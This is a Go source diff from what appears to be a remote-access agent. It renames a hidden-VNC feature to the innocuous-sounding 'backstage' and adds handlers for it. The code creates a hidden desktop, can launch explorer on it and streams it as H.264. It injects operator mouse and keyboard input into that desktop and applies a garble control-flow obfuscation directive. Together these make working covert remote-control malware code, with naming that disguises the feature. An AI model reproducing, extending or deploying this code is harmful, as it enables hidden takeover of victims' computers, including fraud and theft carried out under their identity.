||||
@@ -1839,13 +1839,13 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
|
||||
dur := time.Second / time.Duration(fps)
|
||||
if dur <= 0 {
|
||||
dur = 33 * time.Millisecond
|
||||
}
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write hvnc h264 failed: %v", werr)
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write backstage h264 failed: %v", werr)
|
||||
}
|
||||
if slotAcquired {
|
||||
ReleaseFrameSlot()
|
||||
@@ -1868,7 +1868,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
|
||||
if shouldLogFrame(now) {
|
||||
total := time.Since(t0)
|
||||
log.Printf("hvnc capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
|
||||
log.Printf("backstage capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
|
||||
display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
|
||||
}
|
||||
|
||||
@@ -1886,14 +1886,14 @@ func safeBackstageCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
return img, nil
|
||||
}
|
||||
|
||||
func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error {
|
||||
func sendBlackFramebackstage(ctx context.Context, env *rt.Env) error {
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
|
||||
quality := 60
|
||||
frame, _, err := buildFrameHVNC(img, 0, quality)
|
||||
frame, _, err := buildFramebackstage(img, 0, quality)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -23,9 +23,9 @@ func resetH264Encoder() {}
|
||||
|
||||
func RequestDesktopH264Keyframe() {}
|
||||
|
||||
func resetH264EncoderHVNC() {}
|
||||
func resetH264Encoderbackstage() {}
|
||||
|
||||
func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) {
|
||||
func encodeH264Framebackstage(_ *image.RGBA) ([]byte, error) {
|
||||
return nil, errors.New("h264 support not available (cgo disabled)")
|
||||
}
|
||||
|
||||
|
||||
@@ -523,8 +523,8 @@ var (
|
||||
h264Enc h264FrameEncoder
|
||||
h264LastErr error
|
||||
|
||||
hvncH264Mu sync.Mutex
|
||||
hvncH264Enc h264FrameEncoder
|
||||
backstageH264Mu sync.Mutex
|
||||
backstageH264Enc h264FrameEncoder
|
||||
|
||||
webcamH264Mu sync.Mutex
|
||||
webcamH264Enc h264FrameEncoder
|
||||
@@ -538,10 +538,10 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) {
|
||||
return out, err
|
||||
}
|
||||
|
||||
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
return encodeH264FrameWithEncoder(&hvncH264Enc, "backstage", img)
|
||||
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
return encodeH264FrameWithEncoder(&backstageH264Enc, "backstage", img)
|
||||
}
|
||||
|
||||
func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) {
|
||||
@@ -624,10 +624,10 @@ func RequestDesktopH264Keyframe() {
|
||||
resetH264Encoder()
|
||||
}
|
||||
|
||||
func resetH264EncoderHVNC() {
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
closeH264Encoder(&hvncH264Enc)
|
||||
func resetH264Encoderbackstage() {
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
closeH264Encoder(&backstageH264Enc)
|
||||
}
|
||||
|
||||
func closeH264Encoder(slot *h264FrameEncoder) {
|
||||
@@ -1410,7 +1410,7 @@ func average2x2RGB(row0, row1 []byte, x int) (int, int, int) {
|
||||
|
||||
func shutdownMediaFoundationForTest() {
|
||||
closeH264Encoder(&h264Enc)
|
||||
closeH264Encoder(&hvncH264Enc)
|
||||
closeH264Encoder(&backstageH264Enc)
|
||||
closeH264Encoder(&webcamH264Enc)
|
||||
_, _, _ = procMFShutdown.Call()
|
||||
}
|
||||
|
||||
@@ -142,57 +142,57 @@ func closeH264EncoderLocked() {
|
||||
}
|
||||
|
||||
var (
|
||||
hvncH264Mu sync.Mutex
|
||||
hvncH264Enc *x264.Encoder
|
||||
hvncH264Buf bytes.Buffer
|
||||
hvncH264Width int
|
||||
hvncH264Height int
|
||||
hvncH264FPS int
|
||||
hvncH264Scratch []byte
|
||||
backstageH264Mu sync.Mutex
|
||||
backstageH264Enc *x264.Encoder
|
||||
backstageH264Buf bytes.Buffer
|
||||
backstageH264Width int
|
||||
backstageH264Height int
|
||||
backstageH264FPS int
|
||||
backstageH264Scratch []byte
|
||||
)
|
||||
|
||||
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
|
||||
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
|
||||
bounds := img.Bounds()
|
||||
width := bounds.Dx()
|
||||
height := bounds.Dy()
|
||||
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
|
||||
if err := ensureHVNCH264EncoderLocked(width, height); err != nil {
|
||||
if err := ensurebackstageH264EncoderLocked(width, height); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
hvncH264Buf.Reset()
|
||||
if err := hvncH264Enc.Encode(img); err != nil {
|
||||
backstageH264Buf.Reset()
|
||||
if err := backstageH264Enc.Encode(img); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
n := hvncH264Buf.Len()
|
||||
n := backstageH264Buf.Len()
|
||||
if n == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
if cap(hvncH264Scratch) < n {
|
||||
hvncH264Scratch = make([]byte, n, n+(n/4))
|
||||
if cap(backstageH264Scratch) < n {
|
||||
backstageH264Scratch = make([]byte, n, n+(n/4))
|
||||
} else {
|
||||
hvncH264Scratch = hvncH264Scratch[:n]
|
||||
backstageH264Scratch = backstageH264Scratch[:n]
|
||||
}
|
||||
copy(hvncH264Scratch, hvncH264Buf.Bytes())
|
||||
return hvncH264Scratch, nil
|
||||
copy(backstageH264Scratch, backstageH264Buf.Bytes())
|
||||
return backstageH264Scratch, nil
|
||||
}
|
||||
|
||||
func resetH264EncoderHVNC() {
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
closeHVNCH264EncoderLocked()
|
||||
func resetH264Encoderbackstage() {
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
closebackstageH264EncoderLocked()
|
||||
}
|
||||
|
||||
func ensureHVNCH264EncoderLocked(width, height int) error {
|
||||
func ensurebackstageH264EncoderLocked(width, height int) error {
|
||||
fps := activeH264FPS()
|
||||
if hvncH264Enc != nil && hvncH264Width == width && hvncH264Height == height && hvncH264FPS == fps {
|
||||
if backstageH264Enc != nil && backstageH264Width == width && backstageH264Height == height && backstageH264FPS == fps {
|
||||
return nil
|
||||
}
|
||||
closeHVNCH264EncoderLocked()
|
||||
closebackstageH264EncoderLocked()
|
||||
opts := &x264.Options{
|
||||
Width: width,
|
||||
Height: height,
|
||||
@@ -204,26 +204,26 @@ func ensureHVNCH264EncoderLocked(width, height int) error {
|
||||
RateConstant: 23,
|
||||
LogLevel: x264.LogError,
|
||||
}
|
||||
enc, err := x264.NewEncoder(&hvncH264Buf, opts)
|
||||
enc, err := x264.NewEncoder(&backstageH264Buf, opts)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
hvncH264Enc = enc
|
||||
hvncH264Width = width
|
||||
hvncH264Height = height
|
||||
hvncH264FPS = fps
|
||||
backstageH264Enc = enc
|
||||
backstageH264Width = width
|
||||
backstageH264Height = height
|
||||
backstageH264FPS = fps
|
||||
return nil
|
||||
}
|
||||
|
||||
func closeHVNCH264EncoderLocked() {
|
||||
if hvncH264Enc != nil {
|
||||
_ = hvncH264Enc.Close()
|
||||
hvncH264Enc = nil
|
||||
func closebackstageH264EncoderLocked() {
|
||||
if backstageH264Enc != nil {
|
||||
_ = backstageH264Enc.Close()
|
||||
backstageH264Enc = nil
|
||||
}
|
||||
hvncH264Width = 0
|
||||
hvncH264Height = 0
|
||||
hvncH264FPS = 0
|
||||
hvncH264Buf.Reset()
|
||||
backstageH264Width = 0
|
||||
backstageH264Height = 0
|
||||
backstageH264FPS = 0
|
||||
backstageH264Buf.Reset()
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -62,7 +62,7 @@ func VirtualKillAll() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -294,7 +294,7 @@ func (s *virtualDuplicationState) encodeCachedDirectH264(capStart time.Time, wid
|
||||
if len(out) == 0 {
|
||||
return wire.Frame{}, time.Since(capStart), encodeDur, true, nil
|
||||
}
|
||||
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", HVNC: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
|
||||
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", Backstage: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
|
||||
}
|
||||
|
||||
func (s *virtualDuplicationState) cacheDirectH264Texture(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error {
|
||||
@@ -939,7 +939,7 @@ func VirtualKillAll() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
|
||||
virtualMu.Lock()
|
||||
bounds := virtualMonitorBounds
|
||||
name := virtualMonitorName
|
||||
@@ -950,7 +950,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
monInfos := []HVNCMonitorInfo{{
|
||||
monInfos := []BackstageMonitorInfo{{
|
||||
Index: 0,
|
||||
Name: name,
|
||||
X: bounds.Min.X,
|
||||
@@ -973,7 +973,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
deskHwnd, _, _ := procGetDesktopWindow.Call()
|
||||
procEnumDesktopWindows.Call(deskHwnd, cb, 0)
|
||||
|
||||
var result []HVNCWindowInfo
|
||||
var result []BackstageWindowInfo
|
||||
for _, w := range windowList {
|
||||
if !isWindowVisible(w.hwnd) {
|
||||
continue
|
||||
@@ -1010,7 +1010,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
monIdx = 0
|
||||
}
|
||||
|
||||
result = append(result, HVNCWindowInfo{
|
||||
result = append(result, BackstageWindowInfo{
|
||||
HWND: w.hwnd,
|
||||
Title: title,
|
||||
X: winLeft,
|
||||
@@ -2221,7 +2221,7 @@ func virtualCurrentCursor() point {
|
||||
}
|
||||
virtualInputMu.Unlock()
|
||||
var pt point
|
||||
procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt)))
|
||||
procGetCursorPosbackstage.Call(uintptr(unsafe.Pointer(&pt)))
|
||||
return pt
|
||||
}
|
||||
|
||||
@@ -2397,7 +2397,7 @@ func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
|
||||
capW := srcW
|
||||
capH := srcH
|
||||
|
||||
hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
|
||||
hdcScreen, hdcMem, buf, ok := backstageEnsureCapCache(capW, capH)
|
||||
if !ok {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
@@ -2443,8 +2443,8 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
|
||||
return 0
|
||||
}
|
||||
|
||||
if hvncWinCache == nil {
|
||||
hvncWinCache = make(map[uintptr]*hvncWinCacheEntry)
|
||||
if backstageWinCache == nil {
|
||||
backstageWinCache = make(map[uintptr]*backstageWinCacheEntry)
|
||||
}
|
||||
|
||||
alive := make(map[uintptr]bool)
|
||||
@@ -2476,17 +2476,17 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
|
||||
continue
|
||||
}
|
||||
|
||||
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
||||
if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
||||
drawn++
|
||||
}
|
||||
alive[hwnd] = true
|
||||
hwnd = getWindow(hwnd, GW_HWNDPREV)
|
||||
}
|
||||
|
||||
for h, entry := range hvncWinCache {
|
||||
for h, entry := range backstageWinCache {
|
||||
if !alive[h] {
|
||||
hvncFreeCacheEntry(entry)
|
||||
delete(hvncWinCache, h)
|
||||
backstageFreeCacheEntry(entry)
|
||||
delete(backstageWinCache, h)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,129 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
backstagePersistedDisplayValue int
|
||||
backstagePersistedDisplayMu sync.Mutex
|
||||
backstageTargetFPS atomic.Int64
|
||||
)
|
||||
|
||||
func persistbackstageDisplaySelection(display int) {
|
||||
backstagePersistedDisplayMu.Lock()
|
||||
backstagePersistedDisplayValue = display
|
||||
backstagePersistedDisplayMu.Unlock()
|
||||
}
|
||||
|
||||
func GetPersistedbackstageDisplay() int {
|
||||
backstagePersistedDisplayMu.Lock()
|
||||
defer backstagePersistedDisplayMu.Unlock()
|
||||
return backstagePersistedDisplayValue
|
||||
}
|
||||
|
||||
func backstageStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
fps := activebackstageTargetFPS()
|
||||
interval := time.Second / time.Duration(fps)
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
log.Printf("backstage: starting stream (target fps %d)", fps)
|
||||
|
||||
if err := capture.InitializebackstageDesktop(); err != nil {
|
||||
log.Printf("backstage: failed to initialize hidden desktop: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if autoStartExplorer {
|
||||
goSafe("backstage auto-start explorer", nil, func() {
|
||||
if err := capture.BackstageAutoStartExplorer(); err != nil {
|
||||
log.Printf("backstage: auto-start explorer error: %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
currentFPS := fps
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
log.Printf("backstage: stopping stream")
|
||||
capture.CleanupbackstageDesktop()
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
fps := activebackstageTargetFPS()
|
||||
if fps != currentFPS {
|
||||
currentFPS = fps
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
ticker.Reset(time.Second / time.Duration(fps))
|
||||
log.Printf("backstage: target fps changed to %d", fps)
|
||||
}
|
||||
if err := capture.Nowbackstage(ctx, env); err != nil {
|
||||
if ctx.Err() != nil {
|
||||
log.Printf("backstage: stopping stream")
|
||||
capture.CleanupbackstageDesktop()
|
||||
return nil
|
||||
}
|
||||
log.Printf("backstage: capture error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func activebackstageTargetFPS() int {
|
||||
if fps := int(backstageTargetFPS.Load()); fps > 0 {
|
||||
return fps
|
||||
}
|
||||
_, fps := streamInterval("OVERLORD_backstage_MAX_FPS", 120)
|
||||
return SetbackstageTargetFPS(fps)
|
||||
}
|
||||
|
||||
func SetbackstageTargetFPS(fps int) int {
|
||||
fps = clampDesktopTargetFPS(fps)
|
||||
backstageTargetFPS.Store(int64(fps))
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
return fps
|
||||
}
|
||||
|
||||
func backstageSelect(ctx context.Context, env *rt.Env, display int) error {
|
||||
prev := env.BackstageSelectedDisplay
|
||||
maxDisplays := capture.BackstageMonitorCount()
|
||||
if display < 0 || display >= maxDisplays {
|
||||
log.Printf("backstage: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
|
||||
display = 0
|
||||
}
|
||||
env.BackstageSelectedDisplay = display
|
||||
|
||||
persistbackstageDisplaySelection(display)
|
||||
log.Printf("backstage: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
|
||||
return nil
|
||||
}
|
||||
|
||||
func backstageMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.BackstageMouseControl = enabled
|
||||
log.Printf("backstage: mouse control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func backstageKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.BackstageKeyboardControl = enabled
|
||||
log.Printf("backstage: keyboard control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func backstageCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.BackstageCursorCapture = enabled
|
||||
capture.SetbackstageCursorCapture(enabled)
|
||||
log.Printf("backstage: cursor capture %v", enabled)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package handlers
|
||||
|
||||
func setCursorPosbackstage(x, y int32) {}
|
||||
func sendMouseDownbackstage(button int) {}
|
||||
func sendMouseUpbackstage(button int) {}
|
||||
func sendKeyDownbackstage(vk uint16) {}
|
||||
func sendKeyUpbackstage(vk uint16) {}
|
||||
func keyCodeToVKbackstage(code string) uint16 { return 0 }
|
||||
+1
-1
@@ -2,6 +2,6 @@
|
||||
|
||||
package handlers
|
||||
|
||||
func keyCodeToVKHVNC(code string) uint16 {
|
||||
func keyCodeToVKbackstage(code string) uint16 {
|
||||
return keyCodeToVK(code)
|
||||
}
|
||||
@@ -39,24 +39,24 @@ var (
|
||||
voiceSession *voiceRuntime
|
||||
desktopAudioMu sync.Mutex
|
||||
desktopAudioSession *voiceRuntime
|
||||
hvncInputOnce sync.Once
|
||||
hvncInputQueue chan hvncInputEvent
|
||||
hvncInputDropped atomic.Uint64
|
||||
backstageInputOnce sync.Once
|
||||
backstageInputQueue chan backstageInputEvent
|
||||
backstageInputDropped atomic.Uint64
|
||||
)
|
||||
|
||||
type hvncInputKind int
|
||||
type backstageInputKind int
|
||||
|
||||
const (
|
||||
hvncInputMouseMove hvncInputKind = iota
|
||||
hvncInputMouseDown
|
||||
hvncInputMouseUp
|
||||
hvncInputMouseWheel
|
||||
hvncInputKeyDown
|
||||
hvncInputKeyUp
|
||||
BackstageInputMouseMove backstageInputKind = iota
|
||||
BackstageInputMouseDown
|
||||
BackstageInputMouseUp
|
||||
BackstageInputMouseWheel
|
||||
BackstageInputKeyDown
|
||||
BackstageInputKeyUp
|
||||
)
|
||||
|
||||
type hvncInputEvent struct {
|
||||
kind hvncInputKind
|
||||
type backstageInputEvent struct {
|
||||
kind backstageInputKind
|
||||
display int
|
||||
x int32
|
||||
y int32
|
||||
@@ -105,18 +105,18 @@ func resetForReconnect(env *runtime.Env) {
|
||||
env.SelectedDisplay = GetPersistedDisplay()
|
||||
env.DesktopMu.Unlock()
|
||||
|
||||
env.HVNCMu.Lock()
|
||||
if env.HVNCCancel != nil {
|
||||
env.HVNCCancel()
|
||||
env.BackstageMu.Lock()
|
||||
if env.BackstageCancel != nil {
|
||||
env.BackstageCancel()
|
||||
}
|
||||
waitStreamStop(env.HVNCDone, "hvnc")
|
||||
env.HVNCCancel = nil
|
||||
env.HVNCDone = nil
|
||||
env.HVNCMouseControl = false
|
||||
env.HVNCKeyboardControl = false
|
||||
env.HVNCCursorCapture = false
|
||||
env.HVNCSelectedDisplay = 0
|
||||
env.HVNCMu.Unlock()
|
||||
waitStreamStop(env.BackstageDone, "backstage")
|
||||
env.BackstageCancel = nil
|
||||
env.BackstageDone = nil
|
||||
env.BackstageMouseControl = false
|
||||
env.BackstageKeyboardControl = false
|
||||
env.BackstageCursorCapture = false
|
||||
env.BackstageSelectedDisplay = 0
|
||||
env.BackstageMu.Unlock()
|
||||
|
||||
env.WebcamMu.Lock()
|
||||
if env.WebcamCancel != nil {
|
||||
@@ -184,44 +184,44 @@ func stopVirtualStreamLocked(env *runtime.Env) {
|
||||
env.VirtualDone = nil
|
||||
}
|
||||
|
||||
func ensureHVNCInputWorker() {
|
||||
hvncInputOnce.Do(func() {
|
||||
hvncInputQueue = make(chan hvncInputEvent, 1024)
|
||||
goSafe("hvnc input worker", nil, func() {
|
||||
for ev := range hvncInputQueue {
|
||||
func ensurebackstageInputWorker() {
|
||||
backstageInputOnce.Do(func() {
|
||||
backstageInputQueue = make(chan backstageInputEvent, 1024)
|
||||
goSafe("backstage input worker", nil, func() {
|
||||
for ev := range backstageInputQueue {
|
||||
switch ev.kind {
|
||||
case hvncInputMouseMove:
|
||||
if err := capture.HVNCInputMouseMove(ev.display, ev.x, ev.y); err != nil {
|
||||
log.Printf("hvnc input worker: mouse_move failed: %v", err)
|
||||
case BackstageInputMouseMove:
|
||||
if err := capture.BackstageInputMouseMove(ev.display, ev.x, ev.y); err != nil {
|
||||
log.Printf("backstage input worker: mouse_move failed: %v", err)
|
||||
}
|
||||
case hvncInputMouseDown:
|
||||
case BackstageInputMouseDown:
|
||||
if ev.x != 0 || ev.y != 0 {
|
||||
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
|
||||
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
|
||||
}
|
||||
if err := capture.HVNCInputMouseDown(ev.button); err != nil {
|
||||
log.Printf("hvnc input worker: mouse_down failed: %v", err)
|
||||
if err := capture.BackstageInputMouseDown(ev.button); err != nil {
|
||||
log.Printf("backstage input worker: mouse_down failed: %v", err)
|
||||
}
|
||||
case hvncInputMouseUp:
|
||||
case BackstageInputMouseUp:
|
||||
if ev.x != 0 || ev.y != 0 {
|
||||
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
|
||||
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
|
||||
}
|
||||
if err := capture.HVNCInputMouseUp(ev.button); err != nil {
|
||||
log.Printf("hvnc input worker: mouse_up failed: %v", err)
|
||||
if err := capture.BackstageInputMouseUp(ev.button); err != nil {
|
||||
log.Printf("backstage input worker: mouse_up failed: %v", err)
|
||||
}
|
||||
case hvncInputMouseWheel:
|
||||
case BackstageInputMouseWheel:
|
||||
if ev.x != 0 || ev.y != 0 {
|
||||
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
|
||||
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
|
||||
}
|
||||
if err := capture.HVNCInputMouseWheel(ev.delta); err != nil {
|
||||
log.Printf("hvnc input worker: mouse_wheel failed: %v", err)
|
||||
if err := capture.BackstageInputMouseWheel(ev.delta); err != nil {
|
||||
log.Printf("backstage input worker: mouse_wheel failed: %v", err)
|
||||
}
|
||||
case hvncInputKeyDown:
|
||||
if err := capture.HVNCInputKeyDown(ev.vk); err != nil {
|
||||
log.Printf("hvnc input worker: key_down vk=%d failed: %v", ev.vk, err)
|
||||
case BackstageInputKeyDown:
|
||||
if err := capture.BackstageInputKeyDown(ev.vk); err != nil {
|
||||
log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err)
|
||||
}
|
||||
case hvncInputKeyUp:
|
||||
if err := capture.HVNCInputKeyUp(ev.vk); err != nil {
|
||||
log.Printf("hvnc input worker: key_up vk=%d failed: %v", ev.vk, err)
|
||||
case BackstageInputKeyUp:
|
||||
if err := capture.BackstageInputKeyUp(ev.vk); err != nil {
|
||||
log.Printf("backstage input worker: key_up vk=%d failed: %v", ev.vk, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -229,36 +229,36 @@ func ensureHVNCInputWorker() {
|
||||
})
|
||||
}
|
||||
|
||||
func enqueueHVNCInput(ev hvncInputEvent) {
|
||||
ensureHVNCInputWorker()
|
||||
func enqueuebackstageInput(ev backstageInputEvent) {
|
||||
ensurebackstageInputWorker()
|
||||
select {
|
||||
case hvncInputQueue <- ev:
|
||||
case backstageInputQueue <- ev:
|
||||
return
|
||||
default:
|
||||
if ev.kind == hvncInputMouseMove {
|
||||
dropped := hvncInputDropped.Add(1)
|
||||
if ev.kind == BackstageInputMouseMove {
|
||||
dropped := backstageInputDropped.Add(1)
|
||||
if dropped%100 == 1 {
|
||||
log.Printf("hvnc input queue: dropping mouse_move events dropped=%d", dropped)
|
||||
log.Printf("backstage input queue: dropping mouse_move events dropped=%d", dropped)
|
||||
}
|
||||
return
|
||||
}
|
||||
t := time.NewTimer(200 * time.Millisecond)
|
||||
defer t.Stop()
|
||||
select {
|
||||
case hvncInputQueue <- ev:
|
||||
case backstageInputQueue <- ev:
|
||||
case <-t.C:
|
||||
log.Printf("hvnc input queue: enqueue timeout kind=%d", ev.kind)
|
||||
log.Printf("backstage input queue: enqueue timeout kind=%d", ev.kind)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func clearHVNCInputQueue() {
|
||||
if hvncInputQueue == nil {
|
||||
func clearbackstageInputQueue() {
|
||||
if backstageInputQueue == nil {
|
||||
return
|
||||
}
|
||||
for {
|
||||
select {
|
||||
case <-hvncInputQueue:
|
||||
case <-backstageInputQueue:
|
||||
default:
|
||||
return
|
||||
}
|
||||
@@ -1068,8 +1068,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultAsync(env, cmdID)
|
||||
return nil
|
||||
|
||||
// ==================== HVNC COMMANDS ====================
|
||||
case "hvnc_start":
|
||||
// ==================== backstage COMMANDS ====================
|
||||
case "backstage_start":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
autoStartExplorer := false
|
||||
VirtualMode := false
|
||||
@@ -1110,24 +1110,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
env.HVNCMu.Lock()
|
||||
if env.HVNCCancel != nil {
|
||||
env.HVNCCancel()
|
||||
waitStreamStop(env.HVNCDone, "hvnc")
|
||||
env.BackstageMu.Lock()
|
||||
if env.BackstageCancel != nil {
|
||||
env.BackstageCancel()
|
||||
waitStreamStop(env.BackstageDone, "backstage")
|
||||
}
|
||||
hvncCtx, cancel := context.WithCancel(ctx)
|
||||
env.HVNCCancel = cancel
|
||||
backstageCtx, cancel := context.WithCancel(ctx)
|
||||
env.BackstageCancel = cancel
|
||||
done := make(chan struct{})
|
||||
env.HVNCDone = done
|
||||
goSafe("hvnc stream", env.Cancel, func() {
|
||||
log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||
_ = HVNCStart(hvncCtx, env, autoStartExplorer)
|
||||
env.BackstageDone = done
|
||||
goSafe("backstage stream", env.Cancel, func() {
|
||||
log.Printf("backstage: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||
_ = backstageStart(backstageCtx, env, autoStartExplorer)
|
||||
close(done)
|
||||
})
|
||||
env.HVNCMu.Unlock()
|
||||
env.BackstageMu.Unlock()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_stop":
|
||||
case "backstage_stop":
|
||||
env.VirtualMu.Lock()
|
||||
if env.VirtualCancel != nil {
|
||||
log.Printf("hidden: stop requested")
|
||||
@@ -1137,22 +1137,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
env.VirtualMu.Unlock()
|
||||
env.HVNCMu.Lock()
|
||||
log.Printf("hvnc: stop requested")
|
||||
env.HVNCMouseControl = false
|
||||
env.HVNCKeyboardControl = false
|
||||
env.HVNCCursorCapture = false
|
||||
clearHVNCInputQueue()
|
||||
if env.HVNCCancel != nil {
|
||||
env.HVNCCancel()
|
||||
env.BackstageMu.Lock()
|
||||
log.Printf("backstage: stop requested")
|
||||
env.BackstageMouseControl = false
|
||||
env.BackstageKeyboardControl = false
|
||||
env.BackstageCursorCapture = false
|
||||
clearbackstageInputQueue()
|
||||
if env.BackstageCancel != nil {
|
||||
env.BackstageCancel()
|
||||
}
|
||||
waitStreamStop(env.HVNCDone, "hvnc")
|
||||
env.HVNCCancel = nil
|
||||
env.HVNCDone = nil
|
||||
env.HVNCMu.Unlock()
|
||||
waitStreamStop(env.BackstageDone, "backstage")
|
||||
env.BackstageCancel = nil
|
||||
env.BackstageDone = nil
|
||||
env.BackstageMu.Unlock()
|
||||
